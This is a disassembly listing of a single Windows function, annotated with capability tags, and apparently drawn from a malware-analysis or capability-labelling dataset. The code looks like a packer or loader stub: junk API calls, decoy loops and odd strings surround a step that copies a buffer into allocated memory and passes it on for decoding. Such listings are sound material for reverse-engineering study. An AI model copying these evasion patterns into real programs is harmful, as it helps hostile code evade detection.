Function at 0x40ce10
Capabilities:
Get common file path
Get geographical location
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40d28b
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1054
call fcn.0040b1b0
mov eax, dword [0x439030]
xor eax, esp
mov dword [esp + 0x1050], eax
push ebx
push esi
push edi
mov eax, dword [0x439030]
xor eax, esp
push eax
lea eax, [esp + 0x1068]
mov dword fs:[0], eax
mov ecx, dword [0x2af42d4]
cmp ecx, 0x7c
jne 0x40ced1
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
lea ecx, [esp + 0x34]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
lea edx, [esp + 0x5c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [0x2af42d4], 0x2d
jne 0x40ceb2
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x436ff6
push 0x43b978
call fcn.0040107f
push 0
call fcn.00401306
mov ecx, dword [0x2af42d4]
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
xor esi, esi
mov ebx, 0xec58acac
mov edi, edi
cmp ecx, 0x8cf
jne 0x40cf12
push 0
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x38]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x3c]
push eax
push 0
lea ecx, [esp + 0x874]
push ecx
push 0
call edi
mov ecx, dword [0x2af42d4]
cmp esi, 0x162
jne 0x40cf2c
mov ecx, dword [0x43ae74]
add ecx, 0xa231
mov dword [0x2af42d4], ecx
cmp ecx, 0x141
jne 0x40cf44
mov dword [0x43ba00], ebx
mov dword [0x43ba04], 0xffffffff
inc esi
cmp esi, 0x129916c
jl 0x40cee0
mov edx, dword [0x43a058]
xor ebx, ebx
xor eax, eax
cmp eax, 0x562d05
jne 0x40cf64
mov dword [0x2af42d8], edx
inc eax
cmp eax, 0x5f6c74
jl 0x40cf57
cmp ecx, 0x110a
jne 0x40d097
mov edx, dword [esp + 0x2c]
push edx
push ebx
mov dword [0x2af41a0], ebx
mov dword [0x2af41a4], ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push ebx
push str.devoxubura_deyelomimubisewif
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.defowa
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push ebx
lea eax, [esp + 0x860]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea ecx, [esp + 0x34]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
push ebx
push ebx
call fcn.0040120d
push ebx
push ebx
call fcn.0040131c
push ebx
push ebx
call fcn.0040120d
push ebx
call fcn.0040c954
add esp, 0x1c
push 4
call fcn.004015a3
add esp, 4
cmp eax, ebx
je 0x40cff8
lea edx, [esp + 0x14]
mov dword [eax], edx
jmp 0x40cffa
xor eax, eax
mov dword [esp + 0x14], eax
push ebx
push ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x1078], 0xffffffff
call fcn.0040120d
push 0x437044
push 0x43b978
call fcn.004012d3
mov eax, dword [esp + 0x30]
add esp, 0x10
cmp eax, ebx
je 0x40d078
mov edi, dword [esp + 0x24]
cmp eax, edi
je 0x40d06f
lea esi, [eax + 0x18]
cmp dword [esi], 8
jb 0x40d052
mov eax, dword [esi - 0x14]
push eax
call fcn.00401311
add esp, 4
xor ecx, ecx
mov dword [esi], 7
mov dword [esi - 4], ebx
mov word [esi - 0x14], cx
add esi, 0x1c
lea edx, [esi - 0x18]
cmp edx, edi
jne 0x40d041
mov eax, dword [esp + 0x20]
push eax
call fcn.00401311
add esp, 4
mov eax, dword [esp + 0x14]
push eax
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.00401311
mov ecx, dword [0x2af42d4]
add esp, 4
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
xor ecx, ecx
mov dword [0x2af3ff4], eax
cmp dword [0x2af42d4], ebx
jbe 0x40d0f9
mov edx, 0x19b0
jmp 0x40d0c0
mov eax, dword [0x2af42d8]
mov dword [esp + 0x10], eax
mov eax, 0xa231
add dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov al, byte [eax + ecx]
mov esi, dword [0x2af3ff4]
mov byte [esi + ecx], al
mov eax, dword [0x2af42d4]
cmp eax, 0x5ab
jne 0x40d0f4
mov dword [0x2af3ff8], edx
inc ecx
cmp ecx, eax
jb 0x40d0c0
push 0x437048
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040cab0
call fcn.0040ca90
mov eax, dword [0x2af42d4]
mov ecx, dword [0x43a060]
mov edi, dword [0x2af3ff4]
mov esi, eax
mov dword [0x2af3ff0], ecx
cmp eax, 0x114e
jne 0x40d149
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea edx, [esp + 0x34]
push edx
push 0x436f00
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
mov eax, dword [0x2af42d4]
cmp eax, 0x2f
jne 0x40d157
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push edi
call fcn.0040cc70
mov ecx, dword [0x2af3ff4]
add esp, 8
xor eax, eax
lea esp, [esp]
cmp eax, 0xd606b
jne 0x40d17d
add ecx, 0
inc eax
cmp eax, 0x24e87d
jl 0x40d170
mov ebx, dword [esp + 0x3c]
mov edi, dword [sym.imp.KERNEL32.dll_FindAtomA]
mov dword [0x2af3ff4], ecx
xor esi, esi
lea eax, [esp + 0x5c]
push eax
call edi
cmp esi, 0x408e
jle 0x40d1ae
cmp ebx, 0xf5bed7
jne 0x40d1b7
inc esi
cmp esi, 0x687ed2
jl 0x40d197
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, 0x1e4165
mov edi, 0x8e46a6f0
jmp 0x40d1d0
cmp dword [0x2af42d4], 0x7c4
mov dword [0x2af3ffc], edi
jne 0x40d1e4
call esi
sub ebx, 1
jne 0x40d1d0
mov ecx, dword [esp + 0x1068]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1050]
xor ecx, esp
call fcn.00401070
mov esp, ebp
pop ebp
ret